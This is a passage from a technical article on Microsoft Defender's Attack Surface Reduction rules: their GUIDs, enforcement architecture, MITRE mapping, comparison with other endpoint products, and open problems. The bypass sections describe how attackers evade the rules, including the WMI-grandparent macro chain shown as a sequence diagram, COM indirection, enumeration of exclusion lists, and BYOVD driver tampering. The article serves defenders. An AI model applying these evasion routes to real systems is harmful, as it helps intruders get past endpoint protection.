Generation 5, 2023-2026 -- Standard protection and the long tail

By 2023 Microsoft had enough deployment telemetry to partition the rules into two categories. The Standard protection rules are the three with a low false-positive floor, safe to enable in Block mode without staged rollout: BYOVD, LSASS credential-theft, and WMI persistence [@ms-learn-asr-overview]. The remaining sixteen are Other ASR rules and require the full Audit, Warn, Block ladder. Several new rules landed in this period [@ms-learn-asr-reference]:

Block Webshell creation for Servers -- a8f5898e-1dc8-49a9-9878-85004b8a61e6 -- the post-HAFNIUM / ProxyShell response. This is the only rule in the catalogue whose row in the Microsoft Learn reference shows "N" for EDR alerts, meaning it does not emit a paired Audited and Blocked ActionType in DeviceEvents. Defenders hunt blocked webshell drops through MpCmdRun.log and IIS access logs, not Advanced Hunting.
Block rebooting machine in Safe Mode -- 33ddedf1-c6e0-47cb-833e-de6133960387 -- the BlackByte-era safe-mode-encryption response.
Block use of copied or impersonated system tools -- c0033c00-d16d-4114-a5a0-dc9b3a7d2ceb -- the rename-and-relocate evasion response (attackers copying cmd.exe to a writable path and renaming it update.exe).
Block untrusted and unsigned processes that run from USB -- b2b3f03d-6a65-4f7b-a9c7-1c7ef74a9ba4 -- the BadUSB / removable-media response.
Block Office communication application from creating child processes -- 26190899-1602-49e8-8b27-eb1d0a1ce869 -- the Outlook variant of the Office-child-process rule.

The three ASR rules Microsoft classifies as safe to enable in Block mode without staged rollout: Block abuse of exploited vulnerable signed drivers, Block credential stealing from the Windows local security authority subsystem, and Block persistence through WMI event subscription. The classification appears verbatim on the ASR rules overview page [@ms-learn-asr-overview]. The LSASS rule is redundant when LSA Protection is enabled; the WMI persistence rule still requires Audit testing if Microsoft Configuration Manager manages the device.

The catalogue stands at 19 rules as of May 2026 -- three Standard protection rules and sixteen Other ASR rules, the count inclusive of the server-only Webshell rule that does not emit DeviceEvents [@ms-learn-asr-reference]. The pattern is consistent enough that the next section gives it a name.

5. Edges, Not Nodes

The structural pivot the whole article rests on can be written in one sentence: signatures classify nodes; AppLocker classifies identities; ASR classifies edges in the runtime graph. The rest of this section unpacks what that means and why it matters.

A node in the runtime graph is a binary or a file -- the kind of thing static analysis can fingerprint. An edge is a runtime relationship between two nodes: process A creating process B, process A writing file F, process A opening a handle to LSASS memory, the WMI repository writing a new __FilterToConsumerBinding. Signatures answer "is this node bad?" -- undecidable in general per Cohen 1984 [@cohen-1984-part1]. AppLocker answers "is this node's identity on the allow-list?" -- decidable but blind to LOLBin chains [@lolbas-project]. ASR answers "did this specific edge happen?" -- decidable per event at the OS interception layer.

The Cohen sidestep is precise. Cohen 1984 proved that classifying nodes ("is this program malicious?") is undecidable in general, via a reduction to the Halting Problem. He did not prove that classifying runtime edges is undecidable, because "did this specific parent-child invocation just happen?" is an observable proposition. The kernel sees the system call. The decision is local. No static analysis is required. ASR is the canonical industrial instantiation of that insight; every generation in Section 4 is a catalogue extension within the edge-classification approach, not a structural reframing of it.

Key idea: Signatures classify nodes. AppLocker classifies identities. ASR classifies edges in the runtime graph. By moving from node classification to edge classification, Microsoft sidesteps Cohen-1984 undecidability in the practical sense: you do not need to decide whether the binary is malicious, only whether the edge happened. The kernel sees the edge.

Where does the enforcement actually live? The "kernel-mediated" framing earns its phrasing in three precise pieces.

First, WdFilter.sys is the Microsoft Defender Antivirus minifilter driver.An altitude, in Windows Filter Manager terminology, is a 32-bit decimal that determines the order in which file-system minifilters see I/O. Higher altitudes see I/O first on the way down to the file system and last on the way back up. Anti-virus drivers live in the 320000-329998 band. It is registered with the Windows Filter Manager in the FSFilter Anti-Virus altitude band (320000-329998), specifically at altitude 328010 per Microsoft's IFS allocated-altitudes reference [@ms-learn-ifs-allocated-altitudes]. It runs in kernel mode and intercepts process-creation, image-load, file-write, and (for some rules) WMI and registry edges through Filter Manager pre-operation callbacks and process / image-load notify routines.

The Microsoft Defender Antivirus minifilter driver. Registered with the Windows Filter Manager at altitude 328010 in the FSFilter Anti-Virus band (320000-329998) per Microsoft's allocated-altitudes reference [@ms-learn-ifs-allocated-altitudes]. It runs in kernel mode and hosts the interception callbacks that ASR uses to see process-creation, image-load, and file-write edges before the user-mode actor completes the operation.

Second, MsMpEng.exe is the Defender Antivirus service process. It runs in user mode at integrity level System. For every intercepted edge it consults the per-rule predicate, the per-rule exclusion list, and (for cloud-protected rules) the Microsoft Active Protection Service reputation, then returns Audit, Warn, or Block. The kernel/user-mode split is structural, not accidental. Interception must happen in the kernel before the user-mode actor completes the call. But exclusion-list lookup and cloud reputation are not appropriate inside a minifilter that holds the IRP open.

The Microsoft Defender Antivirus service process. Runs in user mode at integrity level System and hosts the policy-evaluation engine that decides Audit, Warn, or Block for every edge intercepted by `WdFilter.sys`. The two together form the kernel-mediated, user-mode-evaluated enforcement architecture that ASR relies on.

Third, telemetry. ASR blocks land in Defender for Endpoint's DeviceEvents Advanced Hunting table with a rule-specific ActionType such as AsrOfficeChildProcessBlocked or AsrLsassCredentialTheftBlocked. The rules reference enumerates a paired Audited and Blocked ActionType for every rule except the Webshell rule, which is the only one without a DeviceEvents row [@ms-learn-asr-reference]. The universal hunting query is DeviceEvents | where ActionType startswith "Asr". The generic AsrRuleTriggered is folk wisdom; it has never existed.

Microsoft Defender for Endpoint's Kusto Query Language (KQL) surface over endpoint telemetry. ASR blocks and audit events land in the `DeviceEvents` table with rule-specific `ActionType` values. Defenders combine `DeviceEvents` with `DeviceProcessEvents`, `DeviceFileEvents`, and `DeviceImageLoadEvents` to assemble the corroborating edge data around any ASR row [@ms-learn-asr-reference]. flowchart LR P["User-mode process
WINWORD.EXE"] -->|"CreateProcessW"| K["Windows kernel
process-creation notify"] K --> WD["WdFilter.sys
kernel-mode minifilter
altitude 328010"] WD -->|"edge event"| MP["MsMpEng.exe
user-mode service
rule predicate + exclusions + MAPS"] MP -->|"Audit / Warn / Block"| WD WD -->|"fail or allow CreateProcessW"| P MP -->|"telemetry"| DE["DeviceEvents
ActionType = AsrOfficeChildProcessBlocked"] A common misconception is "ASR runs in the kernel." That is partially true and structurally incomplete. The interception point is kernel-mode; the policy evaluation is user-mode. Both are necessary. The kernel must see the edge before the user-mode actor completes the operation, but the cloud reputation lookup and the per-rule exclusion list are not appropriate to run inside a minifilter that holds the IRP open. The correct one-line framing is "kernel-mediated interception, user-mode policy evaluation."

The marginal performance cost of an ASR check is bounded by the existing WdFilter.sys callout that already runs for real-time scanning. ASR piggybacks on callouts the antivirus engine has already paid for. Microsoft has not published a number isolating ASR per-event overhead from broader minifilter cost; the IFS allocated-altitudes page is the closest published reference [@ms-learn-ifs-allocated-altitudes]. The sub-microsecond-per-event framing is INFERRED from the architecture, not measured.

"Protection from denial of services requires the detection of halting programs which is well known to be undecidable." -- Fred Cohen, "Computer Viruses: Theory and Experiments," 1984 [@cohen-1984-part1]

The framework now in place is "name a behaviour class, ship an enforcement edge." Nine years and seven generations of catalogue extension have followed that single rule. So what does the catalogue look like in detail today? The next section is the reference table: nineteen rules, organised by category, with GUID, ActionType, and the attacker behaviour each one closes.

6. The Nineteen Rules in Detail

This section is the article's reference table. Not a deployment guide (that comes in Section 10), but a catalogue to return to when you need to remember which GUID maps to which behaviour and which ActionType lands in DeviceEvents. Every row is from Microsoft Learn's rules reference page [@ms-learn-asr-reference].

Standard protection rules (3 rules)

Microsoft itself recommends enabling these three in Block mode without staged rollout, because their false-positive floor is low [@ms-learn-asr-overview].

Short name	GUID	ActionType (Blocked)	Notes
Block abuse of exploited vulnerable signed drivers	`56a863a9-875e-4185-98a7-b882c64b5ce5`	`AsrVulnerableSignedDriverBlocked`	The BYOVD response; pairs with the kernel-load-time Vulnerable Driver Blocklist [@ms-learn-driver-block-rules]
Block credential stealing from the Windows local security authority subsystem	`9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2`	`AsrLsassCredentialTheftBlocked`	Redundant when LSA Protection is enabled [@ms-learn-asr-overview]
Block persistence through WMI event subscription	`e6db77e5-3df2-4cf1-b95a-636979351e5b`	`AsrPersistenceThroughWmiBlocked`	Still requires Audit testing if Configuration Manager manages the device

Productivity apps (6 rules)

The Office and Adobe response pack, anchored by the Office-child-process rule that opens this article.

Short name	GUID	ActionType (Blocked)	Notes
Block all Office applications from creating child processes	`d4f940ab-401b-4efc-aadc-ad5f3c50688a`	`AsrOfficeChildProcessBlocked`	The macro-to-PowerShell stopper
Block Office applications from creating executable content	`3b576869-a4ec-4529-8536-b80a7769e899`	`AsrExecutableOfficeContentBlocked`	Blocks dropped EXEs from Office processes
Block Office applications from injecting code into other processes	`75668c1f-73b5-4cf0-bb93-3ecf5cb7cc84`	`AsrOfficeProcessInjectionBlocked`	No Warn-mode support [@ms-learn-asr-overview]
Block Win32 API calls from Office macros	`92e97fa1-2edf-4476-bdd6-9dd0b4dddc7b`	`AsrOfficeMacroWin32ApiCallsBlocked`	Refuses `Declare` statements that bind to native DLLs
Block Office communication application from creating child processes	`26190899-1602-49e8-8b27-eb1d0a1ce869`	`AsrOfficeCommAppChildProcessBlocked`	The Outlook variant
Block Adobe Reader from creating child processes	`7674ba52-37eb-4a4f-a9a1-f0f9a1619a2c`	`AsrAdobeReaderChildProcessBlocked`	The PDF response

Scripts and email (3 rules)

The AMSI-backed script-content rules plus the email-drop-execution rule.

Short name	GUID	ActionType (Blocked)	Notes
Block execution of potentially obfuscated scripts	`5beb7efe-fd9a-4556-801d-275e5ffc04cc`	`AsrObfuscatedScriptBlocked`	AMSI-backed
Block JavaScript or VBScript from launching downloaded executable content	`d3e037e1-3eb8-44c8-a917-57927947596d`	`AsrScriptExecutableDownloadBlocked`	The drive-by-download response
Block executable content from email client and webmail	`be9ba2d9-53ea-4cdc-84e5-9b1eeee46550`	`AsrExecutableEmailContentBlocked`	Catches the dropped-attachment-run pattern

Lateral movement and prevalence (4 rules)

The cloud-protected, prevalence-based rules plus the Emotet lateral-movement responses.

Short name	GUID	ActionType (Blocked)	Notes
Block process creations originating from PSExec and WMI commands	`d1e49aac-8f56-4280-b9ba-993a6d77406c`	`AsrPsexecWmiChildProcessBlocked`	Conflicts with Configuration Manager [@ms-learn-asr-overview]
Block executable files from running unless they meet a prevalence, age, or trusted list criterion	`01443614-cd74-433a-b99e-2ecdc07bfc25`	`AsrUntrustedExecutableBlocked`	Requires cloud protection (MAPS)
Block untrusted and unsigned processes that run from USB	`b2b3f03d-6a65-4f7b-a9c7-1c7ef74a9ba4`	`AsrUntrustedUsbProcessBlocked`	The BadUSB response
Use advanced protection against ransomware	`c1db55ab-c21a-4637-bb3f-a12568109d35`	`AsrRansomwareBlocked`	Requires cloud protection

Server, system-tool, and safe-mode (3 rules)

The post-2022 additions.

Short name	GUID	ActionType (Blocked)	Notes
Block Webshell creation for Servers	`a8f5898e-1dc8-49a9-9878-85004b8a61e6`	(no DeviceEvents pair)	Only rule without a `DeviceEvents` ActionType [@ms-learn-asr-reference]
Block rebooting machine in Safe Mode	`33ddedf1-c6e0-47cb-833e-de6133960387`	`AsrSafeModeRebootBlocked`	Also emits `AsrSafeModeRebootWarnBypassed` -- proof Warn is supported
Block use of copied or impersonated system tools	`c0033c00-d16d-4114-a5a0-dc9b3a7d2ceb`	`AsrAbusedSystemToolBlocked`	Also emits `AsrAbusedSystemToolWarnBypassed` -- proof Warn is supported

Total: 19 rules. Older blog posts that cite "16 rules" or "17 rules" reflect a 2021-2023 snapshot of the catalogue before the Safe Mode, copied-tools, USB, and Outlook variants landed.

The per-rule MITRE crosswalk

MITRE ATT&CK's Behavior Prevention on Endpoint mitigation (M1040) nominates ASR rules by name for several technique families. The first eight rows below are verbatim nominations from the M1040 page; the last two (T1505.003 and T1562.009) are this article's own mappings from rule semantics to the most-natural MITRE technique, because M1040 itself does not enumerate the Webshell or Safe Mode Boot techniques [@mitre-m1040]:

MITRE technique	ASR rule that covers it
T1059.005 / T1059.007 (Command and Scripting Interpreter: Visual Basic / JavaScript)	Block JavaScript or VBScript from launching downloaded executable content; Block execution of potentially obfuscated scripts
T1543 / T1543.003 (Create or Modify System Process / Windows Service)	Block abuse of exploited vulnerable signed drivers
T1486 (Data Encrypted for Impact)	Use advanced protection against ransomware
T1546.003 (Event Triggered Execution: WMI Event Subscription)	Block persistence through WMI event subscription
T1559 / T1559.002 (Inter-Process Communication: Dynamic Data Exchange)	Block all Office applications from creating child processes
T1106 (Native API)	Block Win32 API calls from Office macros
T1027 / T1027.009 / T1027.010 (Obfuscated Files or Information)	Block execution of potentially obfuscated scripts
T1003.001 (LSASS Memory)	Block credential stealing from the Windows local security authority subsystem
T1505.003 (Server Software Component: Web Shell) -- author mapping, not M1040-nominated	Block Webshell creation for Servers
T1562.009 (Impair Defenses: Safe Mode Boot) -- author mapping, not M1040-nominated	Block rebooting machine in Safe Mode

The crosswalk gives a defender the per-technique coverage map without leaving the article.

Note: Recall from Section 1: every rule emits a rule-specific Asr<RuleName>Audited and Asr<RuleName>Blocked pair (the Webshell rule excepted), and the canonical universal Advanced Hunting filter is where ActionType startswith "Asr" [@ms-learn-asr-reference].

The Webshell rule's missing DeviceEvents ActionType is the most visible gap in the catalogue's telemetry surface. Defenders typically use Sysmon Event ID 11 (FileCreate) in web roots and IIS access logs to corroborate blocked webshell creations on servers; the Microsoft Learn rules reference is explicit that the EDR-alerts column for this rule is "N" [@ms-learn-asr-reference].

The universal Advanced Hunting query, demonstrated below in a runnable JavaScript shape so a reader can verify the aggregation logic without a Defender for Endpoint tenant, is the single most useful starting point for any ASR investigation.

{` // Mocked DeviceEvents rows. Replace with output of: // DeviceEvents | where ActionType startswith "Asr" // | summarize count() by ActionType, DeviceName | order by count_ desc const deviceEvents = [ { DeviceName: "WS-FIN-042", ActionType: "AsrOfficeChildProcessBlocked" }, { DeviceName: "WS-FIN-042", ActionType: "AsrOfficeChildProcessBlocked" }, { DeviceName: "WS-FIN-118", ActionType: "AsrOfficeChildProcessAudited" }, { DeviceName: "WS-ENG-003", ActionType: "AsrLsassCredentialTheftBlocked" }, { DeviceName: "WS-FIN-042", ActionType: "AsrPsexecWmiChildProcessAudited" }, { DeviceName: "WS-FIN-118", ActionType: "AsrVulnerableSignedDriverBlocked" }, { DeviceName: "OTHER", ActionType: "DeviceLogon" }, // filtered out ];

const asrRows = deviceEvents.filter(r => r.ActionType.startsWith("Asr"));

const counts = asrRows.reduce((m, r) => { const key = r.ActionType + " | " + r.DeviceName; m[key] = (m[key] || 0) + 1; return m; }, {});

Object.entries(counts) .sort((a, b) => b[1] - a[1]) .forEach(([key, n]) => console.log(n + "\t" + key)); `}

Nineteen rules. Three categories. One catalogue that has grown by twelve rules in nine years and shows no sign of stopping. But ASR is not the only behaviour-blocking layer on the Windows endpoint. How does the catalogue compare to CrowdStrike's Indicators of Attack, SentinelOne's Storyline, App Control for Business, Sysmon, and the rest?

7. Where ASR Sits Among the Behaviour Layers

ASR is one of seven currently-deployed methods for behavioural defence on the Windows endpoint. None of them obsoletes any of the others; they layer. Counting the strengths honestly means counting the weaknesses too.

App Control for Business, AppLocker, WDAC

Identity classification. App Control for Business and its predecessor AppLocker are stricter than ASR on the identity axis (default-deny when tuned) but blind to behaviour edges among allowed binaries [@ms-learn-applocker]. The Vulnerable Driver Blocklist that ships default-on with Windows 11 22H2 is the kernel-load-time sibling to ASR's BYOVD rule and works against the same class of attack from the kernel side rather than the user side [@ms-learn-driver-block-rules]. App Control and ASR are complementary, not competing.

CrowdStrike Falcon Behavioral Indicators of Attack

Cloud-evaluated edge classifier. CrowdStrike's own one-line definition of IOAs is the cleanest a vendor has published [@crowdstrike-ioa-definition]: "telltale signs or activities that signal a potential cybersecurity threat or attack is in progress. ... They aim to identify and mitigate a threat before it can fully materialize." The trade-offs cut both ways. CrowdStrike pushes new IOA rules from the cloud without an OS update -- real adaptivity. The cost: no public reference catalogue (every IOA is vendor-internal), a cloud dependency for some configurations, and a commercial licence. ASR is free; CrowdStrike is not.

SentinelOne Singularity Storyline, ActiveEDR

On-agent behavioural-AI engine with per-host storyline graph correlation and a STAR custom-rule layer. SentinelOne's product-level marketing pages return JavaScript-rendered shells or HTTP 404s to text-only fetchers, so byte-precision verification for specific features is currently unavailable. The model-level description (on-agent graph correlation that works offline) is well-attested in the secondary literature. The trade-offs mirror CrowdStrike's: vendor-internal classifier, no public catalogue, commercial licence. This article keeps the framing at the model level and avoids specific feature or performance claims.

Note: The SentinelOne canonical product URLs are HTTP 404 or JavaScript-rendered shells with no byte-extractable text. The model-level claim (on-agent behavioural-AI graph correlation, STAR custom-rule layer, designed offline) is well-attested in the secondary literature; no specific feature claim has a single byte-verified URL behind it in this iteration.

Microsoft 365 Apps internet-macro default block

The Office-internal parallel layer that ended the macro era for unmanaged tenants [@ms-learn-internet-macros-blocked] [@ms-techcommunity-internet-macros-2022]. Office-only and macro-only; covers neither DDE, OLE, embedded executables, nor non-VBA Office attack chains. ASR remains the layer that catches the corresponding edge if the macro layer is bypassed by a managed-tenant override or by a non-macro initial-access vector.

Sysmon and custom SIEM rules

High-fidelity edge visibility; no enforcement. Practitioners run Sysmon alongside ASR for audit-trail coverage of edges ASR does not block and for corroborating telemetry around edges it does. Note that MITRE M1042 ("Disable or Remove Feature or Program") does not mention Sysmon or ASR by name [@mitre-m1042]; the Sysmon-with-ASR pairing is practitioner consensus rather than an M1042 nomination. M1040 (Behavior Prevention on Endpoint) is the mitigation that names ASR rules verbatim [@mitre-m1040].

EDR-in-block-mode

The sibling post-event automated-response layer to ASR, not an umbrella over it. EDR-in-block-mode is required for passive-AV configurations where Defender Antivirus is not the primary. Microsoft Learn's EDR-in-block-mode page is unambiguous about the dependency: "Features like network protection and attack surface reduction (ASR) rules and indicators ... are only available when Microsoft Defender Antivirus is running in Active mode" [@ms-learn-edr-in-block-mode]. EDR-in-block-mode acts strictly post-event on EDR detections; ASR acts pre-completion on the operation itself. Different points in the timeline.

A common misframing places EDR-in-block-mode as the umbrella feature that "covers" ASR. The Microsoft Learn page contradicts that reading directly. EDR-in-block-mode is the layer that lets Defender for Endpoint block based on its EDR findings even when a third-party AV is primary; ASR is the layer that intercepts the operation at the minifilter before any other component sees it. They are siblings, not parent and child [@ms-learn-edr-in-block-mode].

The comparison matrix

The seven methods on ten axes. Read this as a trade-off space; no row dominates the others on every axis.

Method	Classification axis	Enforcement substrate	Catalogue inspectability	Cost	Cloud-connectivity required	OS coverage	Best suited for
ASR rules	Edge	Kernel-mode minifilter + user-mode service	Fully public per-rule [@ms-learn-asr-reference]	Free with Windows	No (some rules require MAPS)	Windows 10 1709+, Windows 11, Windows Server	Behaviour-edge defence; macro chains; LSASS; BYOVD
M365 Apps internet-macro block	Document-trust	Office process	Public docs [@ms-learn-internet-macros-blocked]	Free with M365	No	Microsoft 365 Apps	Internet-marked Office macros
App Control + Vulnerable Driver Blocklist	Identity + driver hash	Kernel	Public policy XML / Block rules [@ms-learn-driver-block-rules]	Free with Windows	No	Windows 10+, Server	Default-deny; kernel-load-time BYOVD
CrowdStrike Falcon IOAs	Edge	Agent + cloud	Vendor-internal [@crowdstrike-ioa-definition]	Commercial	Yes (some)	Cross-platform	Adaptive cloud-pushed behavioural detection
SentinelOne Storyline	Edge graph	On-agent	Vendor-internal	Commercial	No (designed offline)	Cross-platform	Per-host graph correlation
Sysmon + SIEM	Visibility only	User-mode (Sysmon) + SIEM	Public events; SIEM rules per-tenant	Sysmon free; SIEM commercial	Yes (SIEM)	Windows 7+, Linux	Audit trail; corroboration
EDR-in-block-mode	Post-detection block	MDE service	MDE-managed	Defender for Endpoint licence	Yes	Windows 10+, Server	Passive-AV configurations

AV-Comparatives' Endpoint Prevention and Response Test 2023 evaluated 12 EPR products against 50 multi-stage targeted-attack scenarios across three phases -- Endpoint Compromise and Foothold, Internal Propagation, Asset Breach -- over June through September 2023 [@av-comparatives-epr-2023]. Per-product scoring is paywalled and is not reproduced here; only the methodology is cited as the cross-vendor backdrop against which any "ASR vs the rest" empirical claim has to be measured. The article makes no specific scoring claim against AV-Comparatives data because the scoring is not publicly extractable from the free summary.

Each row in the matrix names a different trade-off. ASR is the only row that is free, kernel-mediated, fully inspectable, and shipped with every Windows edition that includes Defender Antivirus. But the catalogue is finite. And the attacker's degrees of freedom are not. What does the theory say about the gap?

8. What No Behaviour Block List Can Do

Every defence layer has a lower bound. ASR's is Cohen 1984 -- but indirectly, through the structural floor that every edge predicate inherits.

Cohen's 1984 result (introduced in Section 3 as a Definition with its diagonal-construction proof sketch and Rice-1953 corollary) proves that detection of arbitrary viral behaviour in a program reduces to the Halting Problem and is therefore undecidable in general [@cohen-1984-part1]. ASR sidesteps the result by changing the question. Not "is this program malicious?" -- undecidable in general -- but "did this specific edge in the runtime graph just occur?" -- decidable per event at the OS interception layer. The Cohen ceiling does not directly forbid edge classification; it forbids node classification. Edge classification is decidable per edge.

The cost is two structural floors that any behaviour-block list inherits.

The over-approximation floor. Every edge predicate is itself an over-approximation of "is this edge malicious." Legitimate IT-automation Word macros do legitimately spawn PowerShell. Legitimate backup software does legitimately read LSASS memory (WerFaultSecure.exe appears on extracted LSASS-rule exclusion lists per Adam Svoboda's VDM-extraction technique [@adamsvoboda-asr-exclusions]). Legitimate management software does legitimately write driver files. Every ASR rule therefore has a structural false-positive floor; the per-rule exclusion list is the recovery mechanism. Exclusion lists trade safety for compatibility.

The catalogue-finiteness upper bound. The space of possible attack edges is countably infinite. Any composition of CreateProcess, WriteFile, RegSetValue, WMI subscription, scheduled task, COM IDispatch::Invoke, or driver-load can be chained into a new edge sequence. The catalogue is finite -- nineteen rules in May 2026 [@ms-learn-asr-reference]. The bound is sharp: an attacker whose chain crosses any edge e in the catalogue is detected at e; an attacker whose chain avoids every edge in the catalogue is not.

Key idea: ASR compresses bypass cost; it does not eliminate it. The catalogue is finite. The attacker's space of edges is countably infinite. Behaviour-block lists are incomplete by construction -- and that is not a defect; it is the design philosophy. The defender's job is not to fix the incompleteness but to make every cheap attack chain expensive enough that the attacker stops using it.

The empirical evidence for the catalogue-finiteness bound is the bypass-research cluster. SANS ISC Diary 27036 (Daniel Wesemann, January 27, 2021) documents the WMI-grandparent bypass to the Office-child-process rule [@sans-isc-27036-emotet-asr]. Sevagas / Emeric Nasi's "Bypass Windows Defender Attack Surface Reduction" PDF (2021) documents COM-object-indirection bypasses [@sevagas-asr-bypass]. Primusinterp's "Cheesing Microsoft Attack Surface Reduction rules" enumerates chained-COM bypasses against the 2017-era catalogue [@primusinterp-cheesing-asr]. Adam Svoboda's VDM-extraction technique enumerates the exclusion lists themselves [@adamsvoboda-asr-exclusions]. None of these is a defect Microsoft has been slow to fix. All are structural consequences of the catalogue-finiteness bound.

The proof in Cohen's open-access archive reduces virus detection to the Halting Problem; the 1984 DoD/NBS conference paper is the original presentation; the 1987 *Computers and Security* reprint is the canonical citable journal form. The open-access archive at all.net is the byte-verifiable text; the verbatim sentence "Protection from denial of services requires the detection of halting programs which is well known to be undecidable" is on the first page of Part 1 [@cohen-1984-part1]. The line is the closest one-sentence statement of the structural ceiling that any node-classifying malware detector inherits.

ASR's design philosophy is not to achieve the theoretical optimum of "complete, sound, real-time, false-positive-free edge catalogue" (unachievable for the reasons above). It is to compress the attacker's bypass cost -- to force the attacker off the cheap, common attack chains (WINWORD -> cmd -> PowerShell) onto more expensive ones (WMI grandparent, COM indirection, scheduled-task fan-out, exclusion-list enumeration, BYOVD). The Section 11 FAQ entry that picks up this thread makes it explicit.

A finite catalogue, an unbounded attacker space, and a structural floor under each rule. The next section names the open problems that follow.

9. What Is Still Moving

The bypass-research corpus around ASR is not a temporary embarrassment. It is the permanent shape of every catalogue-based defence. Six open problems define the layer's research frontier as of May 2026.

Problem 1 -- The WMI and COM grandparent bypass class

The canonical bypass is documented in SANS Internet Storm Center Diary 27036, published January 27, 2021 by handler Daniel Wesemann [@sans-isc-27036-emotet-asr]. Emotet's VBA invoked Win32_Process.Create via WMI, so WmiPrvSE.exe became the literal parent of cmd.exe; the Office-child-process rule's predicate is byte-literal (it checks the immediate parent image against the Office binary list) and therefore never fires.

sequenceDiagram participant VBA as VBA macro in WINWORD.EXE participant WMI as WmiPrvSE.exe (svchost host) participant CMD as cmd.exe participant WD as WdFilter.sys participant MP as MsMpEng.exe VBA->>WMI: GetObject winmgmts, Win32_Process.Create WMI->>WD: process-create notify, parent = WmiPrvSE WD->>MP: edge event, parent image WmiPrvSE.exe MP-->>WD: rule D4F940AB predicate false, no Office parent WD-->>WMI: allow CreateProcess WMI->>CMD: spawn cmd.exe 'cmd' is not a child process of Word, and the ASR block rule to prevent child processes of Word consequently doesn't trigger. -- Daniel Wesemann, SANS ISC Diary 27036, January 27, 2021 [@sans-isc-27036-emotet-asr]

The PSExec/WMI rule (d1e49aac-...) was added in Windows 10 1803 to catch the most common variant, but Microsoft Learn warns that it conflicts with Configuration Manager [@ms-learn-asr-overview]. COM-object indirection (MMC.Application, Outlook.Application, ShellWindows) generalises the bypass beyond WMI [@sevagas-asr-bypass] [@primusinterp-cheesing-asr]. No ASR rule today covers transitive-parent classification across COM or scheduled-task fan-out without breaking Configuration Manager dependencies. The open question is whether a transitive-parent predicate can be added without breaking SCCM, and what false-positive rate that costs.

Problem 2 -- Event 5007 and exclusion-list enumeration

Adam Svoboda's technique demonstrates that ASR exclusion lists live in Defender VDM containers (mpasbase.vdm, mpasdlta.vdm) and are extractable with wdextract64.exe [@adamsvoboda-asr-exclusions]. A low-privilege user with read access to C:\ProgramData\Microsoft\Windows Defender\Definition Updates\ can enumerate the whitelisted paths the LSASS rule, the BYOVD rule, and other rules carry by default. Tamper Protection prevents runtime modification of the exclusion list but does not prevent read access [@ms-learn-tamper-protection]. Once the exclusion list is enumerated, the per-rule defence becomes "did the attacker drop the payload in a writable whitelisted path?" -- a deployment-quality question, not a structural one. The open problem is whether the exclusion lists should be encrypted at rest with a key not derivable by an unprivileged process.

Problem 3 -- Catalogue completeness against modern initial-access vectors

Emotet's post-2022 pivot to OneNote embedded scripts, HTML smuggling, ISO and IMG containers (which strip MOTW on extraction), LNK files, and 7z archives is not covered by ASR's existing rules [@welivesecurity-emotet-pivot-2022]. SmartScreen, Network Protection, and the Microsoft 365 Apps internet-macro default block cover some of this surface, but not via ASR's edge-predicate model. The open question is whether the ASR catalogue should grow to cover OneNote-spawns-child, or whether the right answer is to rely on the parallel layers and accept that ASR's coverage of OneNote-era initial-access is partial.

Problem 4 -- The Webshell rule's missing telemetry surface

Per the Microsoft Learn rules reference, "Block Webshell creation for Servers" (a8f5898e-...) is the only rule without a DeviceEvents ActionType pair [@ms-learn-asr-reference]. Defenders cannot KQL-hunt for blocked Webshell creations the way they can for every other rule; visibility lives in MpCmdRun.log and IIS access logs. The open question is when Microsoft will add the missing ActionType so that the Webshell rule's audit-and-block events become uniformly queryable in Advanced Hunting.

Problem 5 -- Tamper Protection versus kernel-level attackers

ASR is enforced by WdFilter.sys running at integrity level System, but a kernel-mode attacker (for example, one with a BYOVD-loaded malicious driver) is a peer. BlackByte's 2022 BYOVD campaigns demonstrated the pattern: load a vulnerable signed driver, disable Defender's notify routines, proceed [@sophos-blackbyte-returns-2022]. The ASR BYOVD rule (56a863a9-...) plus the WDAC Vulnerable Driver Blocklist default-on in Windows 11 22H2 [@ms-learn-driver-block-rules] plus Hypervisor-protected Code Integrity each close a sub-class. None closes the full class, because the driver-block-list is update-cadence-bounded. The open question is whether WdFilter.sys can be moved into a Virtualization-Based Security isolated enclave such that even a kernel-compromise primitive cannot tamper with ASR enforcement.

Problem 6 -- The inspectability dual

ASR's structural floor is catalogue finiteness. The structural floor of its SOTA competitors (CrowdStrike AI-powered IOAs, SentinelOne Storyline) is vendor-internal inspectability. When an AI-powered IOA fires, the defender has no rule GUID to look up, no published predicate to reason about, no per-edge auditability for purple-team coverage assessment. The two bounds are complementary: ASR optimises for inspectability at the cost of catalogue-growth lag; the AI-powered competitors optimise for adaptive classifier coverage at the cost of inspectability. A complete edge-classification SOTA layer would combine both. No single product currently does.

Note: The Outflank ASR-bypass blog corpus is a well-known research-cluster member; live URLs returned HTTP 403 (Cloudflare) and Wayback Machine fallbacks were unreachable from the verification environment. Named honestly here without inventing a URL. The bypass cluster's claims are independently supported by SANS ISC [@sans-isc-27036-emotet-asr], Sevagas [@sevagas-asr-bypass], Primusinterp [@primusinterp-cheesing-asr], and Adam Svoboda [@adamsvoboda-asr-exclusions].

The catalogue is incomplete by construction. The defender's job is not to fix the incompleteness; it is to make every cheap attack chain too expensive to use. Section 10 codifies that into a Monday-morning playbook.

10. How to Actually Use This on Monday

Five steps. Source-control everything. Treat ASR not as a replacement for AppLocker, App Control for Business, or your EDR -- treat it as a kernel-mediated, free, behaviour-edge layer that costs almost nothing once tuned.

Step 1 -- Enable the three Standard protection rules in Block mode first

Microsoft itself classifies these three as low-false-positive-floor [@ms-learn-asr-overview]:

Block abuse of exploited vulnerable signed drivers (Device) -- 56a863a9-875e-4185-98a7-b882c64b5ce5.
Block credential stealing from the Windows local security authority subsystem -- 9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2. Note: if LSA Protection is enabled on the device (recommended together with Credential Guard), Microsoft Learn states verbatim that "this rule is redundant" and Defender will show the rule as "not applicable" [@ms-learn-asr-overview].
Block persistence through WMI event subscription -- e6db77e5-3df2-4cf1-b95a-636979351e5b. Even though this rule is in the Standard set, Microsoft Learn recommends extensive Audit-mode testing if Configuration Manager manages the device, "because the Configuration Manager client relies heavily on WMI" [@ms-learn-asr-overview].

Step 2 -- Move the other sixteen rules through Audit, Warn, Block

